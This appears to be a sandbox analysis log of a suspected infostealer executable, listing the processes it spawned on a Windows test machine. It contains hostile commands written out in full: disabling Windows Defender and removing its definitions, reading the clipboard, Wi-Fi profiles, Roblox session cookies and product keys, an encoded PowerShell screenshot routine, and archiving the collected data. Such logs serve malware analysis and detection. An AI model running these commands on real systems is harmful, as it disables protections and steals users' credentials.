Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Users\user\Desktop\e45AiBoV6X.exe "C:\Users\user\Desktop\e45AiBoV6X.exe"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA594.tmp" "c:\Users\user\AppData\Local\Temp\bohkan2x\CSC24344491B9A34B60B194FE692FA1E0E5.TMP"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Users\user\Desktop\e45AiBoV6X.exe "C:\Users\user\Desktop\e45AiBoV6X.exe"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvA